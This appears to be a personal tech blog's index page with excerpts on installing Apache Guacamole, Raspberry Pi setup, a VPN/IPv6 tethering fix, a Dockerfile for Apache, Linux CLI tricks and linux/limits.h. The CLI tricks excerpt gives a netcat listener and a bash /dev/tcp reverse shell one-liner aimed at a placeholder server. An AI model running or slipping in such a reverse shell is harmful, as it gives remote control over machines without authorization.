Apache Guacamole

Installation and configuration

sudo apt install --yes software-properties-common
sudo add-apt-repository ppa:guacamole/stable
sudo apt install --yes guacamole-tomcat

sudo systemctl enable guacd
sudo systemctl start guacd

sudo ln -s /var/lib/guacamole/guacamole.war /var/lib/tomcat8/webapps
sudo ln -s /etc/guacamole/guacamole.properties /usr/share/tomcat8/.guacamole

sudo /etc/init.d/tomcat8 restart
sudo /etc/init.d/guacd start

Raspberry e*pi*phany

First experience of Raspberry Pi 4, Zero and Pico

Always be careful when running scripts and commands copied from the Internet. Anyway, that said… Getting start Download Raspberry Pi imager from the Play Store to write images to an SD card from your phone. You can use a wall charger but they run happily off a large powerbank if you wanna dev from the sofa. Connection differences between the Pi 4 and Zero type 4 Zero HDMI Micro Mini Power USB-C Micro-USB Operating systems It’s by far easiest to install Raspbian 32-bit. [Read More]

Ports blocked over VPN

Or are they?

A problem that has followed me around for the last two jobs: I can’t access the git server using ssh authentication when I’m tethered. Yet cloning via https is fine… it kinda feels like ports are being blocked by the VPN. However, it seems to be my EE phone not working correctly over IPv6, or rather not switching back to IPv4 correctly. And the fix is to create another APN with only IPv4 enabled. [Read More]

Run Apache

In Docker

docker run --detach --rm --publish 80:80 deanturpin/aws-apache FROMubuntu# Install dependenciesRUN apt updateRUN apt -y install apache2 vim# Install apache and write hello world messageRUN echo 'Kem chho!' > /var/www/html/index.html# Configure apacheRUN echo '. /etc/apache2/envvars' > /root/run_apache.shRUN echo 'mkdir -p /var/run/apache2' >> /root/run_apache.shRUN echo 'mkdir -p /var/lock/apache2' >> /root/run_apache.shRUN echo '/usr/sbin/apache2 -D FOREGROUND' >> /root/run_apache.shRUN chmod 755 /root/run_apache.shEXPOSE80CMD /root/run_apache. [Read More]

Linux CLI tricks

Send a string to an IP/port telnet 127.0.0.1 80 (echo hello; sleep 1) | telnet 127.0.0.1 80 echo hello > /dev/tcp/127.0.0.1/80 echo hello | nc localhost 80 Reverse shell # server nc -knvlp 3389 # client bash -i >& /dev/tcp/server_ip/3389 0>&1 See also https://tldp.org/LDP/abs/html/x17974.html https://highon.coffee/blog/reverse-shell-cheat-sheet/ https://catonmat.net/bash-one-liners-explained-part-three http://docs.eggplantsoftware.com/epp/9.0.0/ePP/advovercoming_tcpip_connection_li.htm Target everything but one file git add !(unit.md) Print a random line from a file sed "$(( $RANDOM % $(cat readme.txt | wc -l) ))q;d" readme. [Read More]

Linux limits

See /usr/include/linux/limits.h.

/* SPDX-License-Identifier: GPL-2.0 WITH Linux-syscall-note */
#ifndef _LINUX_LIMITS_H
#define _LINUX_LIMITS_H

#define NR_OPEN         1024

#define NGROUPS_MAX    65536    /* supplemental group IDs are available */
#define ARG_MAX       131072    /* # bytes of args + environ for exec() */
#define LINK_MAX         127    /* # links a file may have */
#define MAX_CANON        255    /* size of the canonical input queue */
#define MAX_INPUT        255    /* size of the type-ahead buffer */
#define NAME_MAX         255    /* # chars in a file name */
#define PATH_MAX        4096    /* # chars in a path name including nul */
#define PIPE_BUF        4096    /* # bytes in atomic write to a pipe */
#define XATTR_NAME_MAX   255    /* # chars in an extended attribute name */
#define XATTR_SIZE_MAX 65536    /* size of an extended attribute value (64k) */
#define XATTR_LIST_MAX 65536    /* size of extended attribute namelist (64k) */

#define RTSIG_MAX         32

#endif